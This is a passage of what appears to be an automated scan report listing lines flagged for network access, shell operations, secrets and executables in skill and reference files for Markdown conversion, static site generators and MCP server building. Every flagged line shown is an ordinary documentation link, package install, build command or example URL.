    | HSL   | <code>\`hsl(H,S,L)\`</code> | <code>\`hsl(212, 92%, 45%)\`</code> | ![Screenshot of rendered GitHub Markdown showing how HSL value 212, 92%, 45% appears with a blue circle.](https://docs.github.com/assets/images/help/writing/suppo
  • Network accessline 109
    `This site was built using [GitHub Pages](https://pages.github.com/).`
  • Network accessline 111
    ![Screenshot of rendered GitHub Markdown showing how text within brackets, "GitHub Pages," appears as a blue hyperlink.](https://docs.github.com/assets/images/help/writing/link-rendered.png)
  • Network accessline 113
    > \[!NOTE] > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/a
  • Network accessline 114
    > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-r
  • Network accessline 120
    ![Screenshot of a README for a repository. To the left of a section heading, a link icon is outlined in dark orange.](https://docs.github.com/assets/images/help/repository/readme-links.png)
  • Network accessline 130
    For more detailed information on the requirements of URI fragments, see [RFC 3986: Uniform Resource Identifier (URI): Generic Syntax, Section 3.5](https://www.rfc-editor.org/rfc/rfc3986#section-3.5).
  • Network accessline 255
    `![Screenshot of a comment on a GitHub issue showing an image, added in the Markdown, of an Octocat smiling and raising a tentacle.](https://myoctocat.com/assets/images/base-octocat.svg)`
  • Network accessline 257
    ![Screenshot of a comment on a GitHub issue showing an image, added in the Markdown, of an Octocat smiling and raising a tentacle.](https://docs.github.com/assets/images/help/writing/image-rendered.png)
  • Network accessline 293
    ![Screenshot of rendered GitHub Markdown showing a bulleted list of the names of the first three American presidents.](https://docs.github.com/assets/images/help/writing/unordered-list-rendered.png)
  • Network accessline 303
    ![Screenshot of rendered GitHub Markdown showing a numbered list of the names of the fourth, fifth, and sixth American presidents.](https://docs.github.com/assets/images/help/writing/ordered-list-rendered.png)
  • Network accessline 309
    To create a nested list using the web editor on GitHub or a text editor that uses a monospaced font, like [Visual Studio Code](https://code.visualstudio.com/), you can align your list visually. Type space characters in front of your nested 
  • Network accessline 320
    ![Screenshot of Markdown in Visual Studio Code showing indentation of nested numbered lines and bullets.](https://docs.github.com/assets/images/help/writing/nested-list-alignment.png)
  • Network accessline 322
    ![Screenshot of rendered GitHub Markdown showing a numbered item followed by nested bullets at two different levels of nesting.](https://docs.github.com/assets/images/help/writing/nested-list-example-1.png)
  • Network accessline 333
    ![Screenshot of rendered GitHub Markdown showing a numbered item prefaced by the number 100 followed by a bulleted item nested one level.](https://docs.github.com/assets/images/help/writing/nested-list-example-3.png)
  • Network accessline 343
    ![Screenshot of rendered GitHub Markdown showing a numbered item prefaced by the number 100 followed by bullets at two different levels of nesting.](https://docs.github.com/assets/images/help/writing/nested-list-example-2.png)
  • Network accessline 345
    For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265).
  • Network accessline 352
    - [x] #739 - [ ] https://github.com/{owner}/{repo}/issues/{issue-number}
  • Network accessline 353
    - [ ] https://github.com/{owner}/{repo}/issues/{issue-number}
  • Network accessline 357
    ![Screenshot showing the rendered version of the markdown. The references to issues are rendered as issue titles.](https://docs.github.com/assets/images/help/writing/task-list-rendered-simple.png)
  • Network accessline 363
    For more information, see [About tasklists](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists).
  • Network accessline 367
    You can mention a person or [team](https://docs.github.com/en/organizations/organizing-members-into-teams) on GitHub by typing <kbd>@</kbd> plus their username or team name. This will trigger a notification and bring their attention to the 
  • Network accessline 374
    ![Screenshot of rendered GitHub Markdown showing how the team mention "@github/support" renders as bold, clickable text.](https://docs.github.com/assets/images/help/writing/mention-rendered.png)
  • Network accessline 376
    When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see [About organization teams](https://docs.github.com/en/organizations/o
  • Network accessline 386
    For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls).
  • Network accessline 390
    If custom autolink references are configured for a repository, then references to external resources, like a JIRA issue or Zendesk ticket, convert into shortened links. To know which autolinks are available in your repository, contact someo
  • Network accessline 402
    ![Screenshot of rendered GitHub Markdown showing how emoji codes for +1 and shipit render visually as emoji.](https://docs.github.com/assets/images/help/writing/emoji-rendered.png)
  • Network accessline 406
    For a full list of available emoji and codes, see [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/github-actions-auto-update/README.md).
  • Network accessline 428
    ![Screenshot of rendered Markdown showing superscript numbers used to indicate footnotes, along with optional line breaks inside a note.](https://docs.github.com/assets/images/help/writing/footnote-rendered.png)
  • Network accessline 460
    ![Screenshot of rendered Markdown alerts showing how Note, Tip, Important, Warning, and Caution render with different colored text and icons.](https://docs.github.com/assets/images/help/writing/alerts-rendered.png)
  • Network accessline 476
    ![Screenshot of rendered GitHub Markdown showing how backslashes prevent the conversion of asterisks to italics.](https://docs.github.com/assets/images/help/writing/escaped-character-rendered.png)
  • Network accessline 478
    For more information on backslashes, see Daring Fireball's [Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash).
  • Network accessline 487
    ![Screenshot of a Markdown file in a repository showing options for interacting with the file. A button, labeled "Code", is outlined in dark orange.](https://docs.github.com/assets/images/help/writing/display-markdown-as-source-global-nav-u
  • Network accessline 493
    *[GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 494
    *[About writing and formatting on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github)
  • Network accessline 495
    *[Working with advanced formatting](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting)
  • Network accessline 496
    *[Quickstart for writing on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)

harness/claude-code/skills/markdown-to-html/references/code-blocks-to-html.md

  • Network accessline 117
    [About writing and formatting on GitHub](https://docs.github.com/...)
  • Network accessline 121
    <a href="https://docs.github.com/...">About writing and formatting on GitHub</a>
  • Network accessline 129
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 133
    <ul>   <li>     <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>
  • Network accessline 134
    <li>     <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>   </li>
  • Network accessline 135
    <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>

harness/claude-code/skills/markdown-to-html/references/code-blocks.md

  • Network accessline 17
    ![Screenshot of rendered GitHub Markdown showing the use of triple backticks to create code blocks. The block begins with "function test() {."](https://docs.github.com/assets/images/help/writing/fenced-code-block-rendered.png)
  • Network accessline 32
    ![Screenshot of rendered Markdown showing that when you write triple backticks between quadruple backticks they are visible in the rendered content.](https://docs.github.com/assets/images/help/writing/fenced-code-show-backticks-rendered.png
  • Network accessline 34
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started
  • Network accessline 56
    ![Screenshot of three lines of Ruby code as displayed on GitHub. Elements of the code display in purple, blue, and red type for scannability.](https://docs.github.com/assets/images/help/writing/code-block-syntax-highlighting-rendered.png)
  • Network accessline 58
    > \[!TIP] > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pa
  • Network accessline 59
    > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pages/settin
  • Network accessline 61
    We use [Linguist](https://github.com/github-linguist/linguist) to perform language detection and to select [third-party grammars](https://github.com/github-linguist/linguist/blob/main/vendor/README.md) for syntax highlighting. You can find 
  • Network accessline 65
    You can also use code blocks to create diagrams in Markdown. GitHub supports Mermaid, GeoJSON, TopoJSON, and ASCII STL syntax. For more information, see [Creating diagrams](https://docs.github.com/get-started/writing-on-github/working-with-
  • Network accessline 69
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 70
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/claude-code/skills/markdown-to-html/references/collapsed-sections.md

  • Network accessline 33
    ![Screenshot of the Markdown above on this page as rendered on GitHub, showing a right-facing arrow and the header "Tips for collapsed sections."](https://docs.github.com/assets/images/help/writing/collapsed-section-view.png)
  • Network accessline 37
    ![Screenshot of the Markdown above on this page as rendered on GitHub. The collapsed section contains headers, text, images, and code blocks.](https://docs.github.com/assets/images/help/writing/open-collapsed-section.png)
  • Network accessline 47
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 48
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/claude-code/skills/markdown-to-html/references/extended-guide.md

  • Network accessline 12
    ```html     <p>This sentence uses <code>$</code> delimiters to show math inline:      <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 13
    <p>This sentence uses <code>$</code> delimiters to show math inline:      <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">       <msqrt><mn>3</mn><mi>x</mi><mo>−</mo><mn>1</mn></msqrt>
  • Network accessline 14
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 29
    <p><strong>The Cauchy-Schwarz Inequality</strong><br>      <math-renderer>       <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 30
    <math-renderer>       <math xmlns="http://www.w3.org/1998/Math/MathML">        <msup>
  • Network accessline 31
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 180
    - [DOMPurify](https://github.com/cure53/DOMPurify) (recommended)
  • Network accessline 181
    - [sanitize-html](https://github.com/apostrophecms/sanitize-html)
  • Network accessline 182
    - [js-xss](https://github.com/leizongmin/js-xss)
  • Network accessline 206
    - Pandoc installed (download from <https://pandoc.org/installing.html>)
  • Network accessline 402
    Recommended sanitizer: [Bluemonday](https://github.com/microcosm-cc/bluemonday)
  • Network accessline 447
    # Access at http://localhost:4000
  • Network accessline 538
    - Hugo installed (download from <https://gohugo.io/installation/>)
  • Network accessline 553
    # Add a theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 554
    git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml
  • Network accessline 555
    git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 584
    # Start with live reload and bind to all interfaces hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/
  • Network accessline 585
    hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/
  • Network accessline 682
    - [tables.md](../references/tables.md) - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/>
  • Network accessline 683
    - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css>
  • Network accessline 684
    - Markdown Guide: <https://www.markdownguide.org/basic-syntax/>
  • Network accessline 685
    - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css>
  • Network accessline 689
    - Official documentation: <https://marked.js.org/>
  • Network accessline 690
    - Advanced options: <https://marked.js.org/using_advanced>
  • Network accessline 691
    - Extensibility: <https://marked.js.org/using_pro>
  • Network accessline 692
    - GitHub repository: <https://github.com/markedjs/marked>
  • Network accessline 696
    - Getting started: <https://pandoc.org/getting-started.html>
  • Network accessline 697
    - Official documentation: <https://pandoc.org/MANUAL.html>
  • Network accessline 698
    - Extensibility: <https://pandoc.org/extras.html>
  • Network accessline 699
    - GitHub repository: <https://github.com/jgm/pandoc>
  • Network accessline 703
    - Official documentation: <https://pkg.go.dev/github.com/gomarkdown/markdown>
  • Network accessline 704
    - Advanced configuration: <https://pkg.go.dev/github.com/gomarkdown/markdown/html>
  • Network accessline 705
    - Markdown processing: <https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html>
  • Network accessline 706
    - GitHub repository: <https://github.com/gomarkdown/markdown>
  • Network accessline 710
    - Official documentation: <https://jekyllrb.com/docs/>
  • Network accessline 711
    - Configuration options: <https://jekyllrb.com/docs/configuration/options/>
  • Network accessline 712
    - Plugins: <https://jekyllrb.com/docs/plugins/>
  • Network accessline 713
    - [Installation](https://jekyllrb.com/docs/plugins/installation/)
  • Network accessline 714
    - [Generators](https://jekyllrb.com/docs/plugins/generators/)
  • Network accessline 715
    - [Converters](https://jekyllrb.com/docs/plugins/converters/)
  • Network accessline 716
    - [Commands](https://jekyllrb.com/docs/plugins/commands/)
  • Network accessline 717
    - [Tags](https://jekyllrb.com/docs/plugins/tags/)
  • Network accessline 718
    - [Filters](https://jekyllrb.com/docs/plugins/filters/)
  • Network accessline 719
    - [Hooks](https://jekyllrb.com/docs/plugins/hooks/)
  • Network accessline 720
    - GitHub repository: <https://github.com/jekyll/jekyll>
  • Network accessline 724
    - Official documentation: <https://gohugo.io/documentation/>
  • Network accessline 725
    - All Settings: <https://gohugo.io/configuration/all/>
  • Network accessline 726
    - Editor Plugins: <https://gohugo.io/tools/editors/>
  • Network accessline 727
    - GitHub repository: <https://github.com/gohugoio/hugo>

harness/claude-code/skills/markdown-to-html/references/gomarkdown.md

  • Network accessline 249
    - [Package Documentation](https://pkg.go.dev/github.com/gomarkdown/markdown)
  • Network accessline 250
    - [Advanced Processing Guide](https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html)
  • Network accessline 251
    - [GitHub Repository](https://github.com/gomarkdown/markdown)
  • Network accessline 252
    - [CLI Tool](https://github.com/gomarkdown/mdtohtml)
  • Network accessline 253
    - [Bluemonday Sanitizer](https://github.com/microcosm-cc/bluemonday)

harness/claude-code/skills/markdown-to-html/references/hugo.md

  • Dangerous shell operationline 34
    sudo apt-get install hugo
  • Network accessline 36
    # Or download from https://gohugo.io/installation/
  • Network accessline 48
    # Initialize git and add theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 49
    git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml
  • Network accessline 50
    git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 135
    # Basic settings baseURL = 'https://example.com/'
  • Network accessline 136
    baseURL = 'https://example.com/'
  • Network accessline 390
    - [Hugo Documentation](https://gohugo.io/documentation/)
  • Network accessline 391
    - [Hugo Themes](https://themes.gohugo.io/)
  • Network accessline 392
    - [Hugo Discourse](https://discourse.gohugo.io/)
  • Network accessline 393
    - [GitHub Repository](https://github.com/gohugoio/hugo)
  • Network accessline 394
    - [Quick Reference](https://gohugo.io/quick-reference/)

harness/claude-code/skills/markdown-to-html/references/jekyll.md

  • Dangerous shell operationline 28
    sudo apt-get install ruby-full build-essential zlib1g-dev
  • Network accessline 31
    # Windows (use RubyInstaller) # Download from https://rubyinstaller.org/
  • Network accessline 32
    # Download from https://rubyinstaller.org/
  • Network accessline 50
    # Open http://localhost:4000
  • Network accessline 116
    description: A great blog baseurl: "" url: "https://example.com"
  • Network accessline 118
    url: "https://example.com"
  • Network accessline 317
    - [Jekyll Documentation](https://jekyllrb.com/docs/)
  • Network accessline 318
    - [Liquid Template Language](https://shopify.github.io/liquid/)
  • Network accessline 319
    - [Kramdown Documentation](https://kramdown.gettalong.org/)
  • Network accessline 320
    - [GitHub Repository](https://github.com/jekyll/jekyll)
  • Network accessline 321
    - [Jekyll Themes](https://jekyllthemes.io/)

harness/claude-code/skills/markdown-to-html/references/marked.md

  • Network accessline 33
    <script src="https://cdn.jsdelivr.net/npm/marked/lib/marked.umd.js"></script>

harness/claude-code/skills/markdown-to-html/references/pandoc.md

  • Network accessline 16
    # Or download installer from https://pandoc.org/installing.html
  • Dangerous shell operationline 30
    sudo apt-get install pandoc
  • Dangerous shell operationline 33
    sudo dnf install pandoc
  • Network accessline 35
    # Or download from https://pandoc.org/installing.html
  • Network accessline 223
    - [Pandoc User's Guide](https://pandoc.org/MANUAL.html)
  • Network accessline 224
    - [Pandoc Demos](https://pandoc.org/demos.html)
  • Network accessline 225
    - [Pandoc FAQ](https://pandoc.org/faqs.html)
  • Network accessline 226
    - [GitHub Repository](https://github.com/jgm/pandoc)

harness/claude-code/skills/markdown-to-html/references/tables.md

  • Network accessline 17
    ![Screenshot of a GitHub Markdown table rendered as two equal columns. Headers are shown in boldface, and alternate content rows have gray shading.](https://docs.github.com/assets/images/help/writing/table-basic-rendered.png)
  • Network accessline 30
    ![Screenshot of a GitHub Markdown table with two columns of differing width. Rows list the commands "git status" and "git diff" and their descriptions.](https://docs.github.com/assets/images/help/writing/table-varied-columns-rendered.png)
  • Network accessline 32
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started
  • Network accessline 36
    You can use [formatting](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) such as links, inline code blocks, and text styling within your table:
  • Network accessline 45
    ![Screenshot of a GitHub Markdown table with the commands formatted as code blocks. Bold and italic formatting are used in the descriptions.](https://docs.github.com/assets/images/help/writing/table-inline-formatting-rendered.png)
  • Network accessline 56
    ![Screenshot of a Markdown table with three columns as rendered on GitHub, showing how text within cells can be set to align left, center, or right.](https://docs.github.com/assets/images/help/writing/table-aligned-text-rendered.png)
  • Network accessline 67
    ![Screenshot of a Markdown table as rendered on GitHub showing how pipes, which normally close cells, are shown when prefaced by a backslash.](https://docs.github.com/assets/images/help/writing/table-escaped-character-rendered.png)
  • Network accessline 71
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 72
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/claude-code/skills/markdown-to-html/references/writing-mathematical-expressions-to-html.md

  • Network accessline 14
    <p>This sentence uses <code>$</code> delimiters to show math inline:  <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 15
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 45
    <p>This sentence uses  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 46
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <mo>‘</mo>
  • Network accessline 47
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 54
    </math-renderer> delimiters to show math inline:  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 55
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <msqrt>
  • Network accessline 56
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 92
    <strong>The Cauchy-Schwarz Inequality</strong><br>   <math-renderer>     <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 93
    <math-renderer>     <math xmlns="http://www.w3.org/1998/Math/MathML">       <msup>
  • Network accessline 94
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 176
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 177
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 252
    <p>The equation  <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 253
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 283
    <p><math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 317
    <code>\$</code> to display a dollar sign:  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 318
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <msqrt>
  • Network accessline 319
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 339
    <span>$</span>100 in half, we calculate  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 340
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <mn>100</mn>
  • Network accessline 341
    <math xmlns="http://www.w3.org/1998/Math/MathML">

harness/claude-code/skills/markdown-to-html/references/writing-mathematical-expressions.md

  • Network accessline 7
    To enable clear communication of mathematical expressions, GitHub supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks.
  • Network accessline 9
    GitHub's math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentati
  • Network accessline 15
    There are two options for delimiting a math expression inline with your text. You can either surround the expression with dollar symbols (`$`), or start the expression with <code>$\`</code> and end it with <code>\`$</code>. The latter synta
  • Network accessline 21
    ![Screenshot of rendered Markdown showing an inline mathematical expression: the square root of 3x minus 1 plus (1 plus x) squared.](https://docs.github.com/assets/images/help/writing/inline-math-markdown-rendering.png)
  • Network accessline 27
    ![Screenshot of rendered Markdown showing an inline mathematical expression with backtick syntax: the square root of 3x minus 1 plus (1 plus x) squared.](https://docs.github.com/assets/images/help/writing/inline-backtick-math-markdown-rende
  • Network accessline 33
    >  [!TIP] If you're writing in an .md file, you will need to use specific formatting to create a line break, such as ending the line with a backslash as shown in the example below. For more information on line breaks in Markdown, see [Basic
  • Network accessline 40
    ![Screenshot of rendered Markdown showing a complex equation. Bold text reads "The Cauchy-Schwarz Inequality" above the formula for the inequality.](https://docs.github.com/assets/images/help/writing/math-expression-as-a-block-rendering.png
  • Network accessline 62
    ![Screenshot of rendered Markdown showing how a backslash before a dollar sign displays the sign as part of a mathematical expression.](https://docs.github.com/assets/images/help/writing/dollar-sign-within-math-expression.png)
  • Network accessline 70
    ![Screenshot of rendered Markdown showing how span tags around a dollar sign display the sign as inline text not as part of a mathematical equation.](https://docs.github.com/assets/images/help/writing/dollar-sign-inline-math-expression.png)
  • Network accessline 74
    * [The MathJax website](http://mathjax.org)
  • Network accessline 75
    * [Getting started with writing and formatting on GitHub](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github)
  • Network accessline 76
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)

harness/claude-code/skills/markstream-install/SKILL.md

  • Network accessline 11
    JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+,     Next.js, Angular 20+, or Svelte 5.   documentation: "https://markstream.simonhe.me/"
  • Network accessline 12
    Next.js, Angular 20+, or Svelte 5.   documentation: "https://markstream.simonhe.me/"   source: "https://github.com/Simon-He95/markstream-vue"
  • Network accessline 13
    documentation: "https://markstream.simonhe.me/"
  • Network accessline 14
    source: "https://github.com/Simon-He95/markstream-vue"
  • Network accessline 41
    Read `references/scenarios.md` before choosing packages or peers. Official sources are https://markstream.simonhe.me/ and https://github.com/Simon-He95/markstream-vue .
  • Network accessline 176
    - [Installation](https://markstream.simonhe.me/guide/installation)
  • Network accessline 177
    - [AI chat and streaming](https://markstream.simonhe.me/guide/ai-chat-streaming)
  • Network accessline 178
    - [Performance](https://markstream.simonhe.me/guide/performance)
  • Network accessline 179
    - [Troubleshooting](https://markstream.simonhe.me/guide/troubleshooting)
  • Network accessline 180
    - [Component overrides](https://markstream.simonhe.me/guide/component-overrides)

harness/claude-code/skills/mcp-builder/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/skills/mcp-builder/SKILL.md

  • Network accessline 52
    Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml`
  • Network accessline 54
    Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`).
  • Network accessline 71
    **For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 72
    - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 75
    **For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 76
    - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 213
    ### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 214
    - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 222
    ### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 223
    - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 224
    - **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`

harness/claude-code/skills/mcp-builder/reference/evaluation.md

  • Access to secretsline 398
    [Credential-related source omitted]
  • Access to secretsline 440
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Network accessline 454
    python scripts/evaluation.py \   -t sse \   -u https://example.com/mcp \
  • Network accessline 455
    [Credential-related source omitted]
  • Network accessline 456
    -u https://example.com/mcp \
  • Network accessline 467
    python scripts/evaluation.py \   -t http \   -u https://example.com/mcp \
  • Network accessline 468
    [Credential-related source omitted]
  • Network accessline 469
    -u https://example.com/mcp \
  • Access to secretsline 557
    [Credential-related source omitted]

harness/claude-code/skills/mcp-builder/reference/node_mcp_server.md

  • Dangerous shell operationline 541
    "clean": "rm -rf dist"
  • Network accessline 600
    // Constants const API_BASE_URL = "https://api.example.com/v1";
  • Network accessline 601
    const API_BASE_URL = "https://api.example.com/v1";
  • Access to secretsline 707
    [Credential-related source omitted]
  • Access to secretsline 708
    [Credential-related source omitted]
  • Access to secretsline 719
    [Credential-related source omitted]
  • Access to secretsline 720
    [Credential-related source omitted]
  • Network accessline 737
    const port = parseInt(process.env.PORT || '3000');   app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);
  • Network accessline 738
    app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);   });
  • Network accessline 739
    console.error(`MCP server running on http://localhost:${port}/mcp`);

harness/claude-code/skills/mcp-builder/reference/python_mcp_server.md

  • Network accessline 42
    **For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 43
    `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 233
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 234
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 235
    async with httpx.AsyncClient() as client:
  • Network accessline 251
    # Good: Async network request async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:
  • Network accessline 252
    async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:         response = await client.get(f"{API_URL}/resource/{resource_id}")
  • Network accessline 253
    async with httpx.AsyncClient() as client:
  • Network accessline 258
    # Bad: Synchronous request def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 259
    def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks     return response.json()
  • Network accessline 260
    response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 352
    # Constants API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 353
    API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 382
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 383
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 384
    async with httpx.AsyncClient() as client:
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]

harness/claude-code/skills/mcp-builder/scripts/connections.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/mcp-builder/scripts/evaluation.py

  • Executable scriptline 1
    Executable file
  • Network accessline 315
    [Credential-related source omitted]
  • Network accessline 318
    python evaluation.py -t http -u https://example.com/mcp -m claude-3-5-sonnet-20241022 eval.xml

harness/claude-code/skills/mcp-create-adaptive-cards/SKILL.md

  • Network accessline 132
    {   "type": "AdaptiveCard",   "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 133
    "type": "AdaptiveCard",   "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",   "version": "1.5",
  • Network accessline 134
    "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 167
    - [Adaptive Card Designer](https://adaptivecards.microsoft.com/designer)
  • Network accessline 168
